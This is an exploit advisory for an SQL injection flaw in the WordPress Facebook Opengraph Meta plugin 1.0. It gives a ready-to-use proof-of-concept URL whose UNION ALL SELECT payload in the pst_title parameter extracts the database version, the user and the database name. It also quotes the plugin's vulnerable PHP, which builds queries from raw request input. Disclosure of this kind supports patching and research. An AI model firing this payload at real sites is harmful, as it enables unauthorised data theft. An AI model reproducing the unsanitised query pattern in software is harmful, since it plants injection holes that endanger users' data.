WordPress Plugin Facebook Opengraph Meta 1.0 – SQL Injection
# Exploit Title: WordPress Facebook Opengraph Meta Plugin plugin <= 1.0 SQL Injection Vulnerability # Date: 2011-09-03 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/facebook-opengraph-meta-plugin.zip # Version: 1.0 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=100&rows=1 --------------- Vulnerable code --------------- $page = $_GET['page']; // get the requested page $limit = $_GET['rows']; // get how many rows we want to have into the grid ... if(isset($_REQUEST["pst_title"])) $pst_title = $_REQUEST['pst_title']; ... if($pst_title!=''){ $where.= " AND (wposts.post_title LIKE '%$pst_title%'"; $where.= " OR wpostmeta.meta_value LIKE '%$pst_title%')"; } $result = $wpdb->get_var("SELECT COUNT(*) AS count FROM $wpdb->postmeta WHERE meta_key = '_OgMeta'"); $count = $result['count']; if( $count >0 ) { $total_pages = ceil($count/$limit); } else { $total_pages = 0; } if ($page > $total_pages) $page=$total_pages; $start = $limit*$page - $limit; ... $querystr = " SELECT wposts.* FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta WHERE wposts.ID = wpostmeta.post_id AND wpostmeta.meta_key = '_OgMeta' AND wposts.post_status = 'publish' AND (wposts.post_type = 'post' OR wposts.post_type = 'page')".$where. "ORDER BY wposts.post_date DESC LIMIT $start , $limit "; $result = $wpdb->get_results($querystr);//, OBJECT); |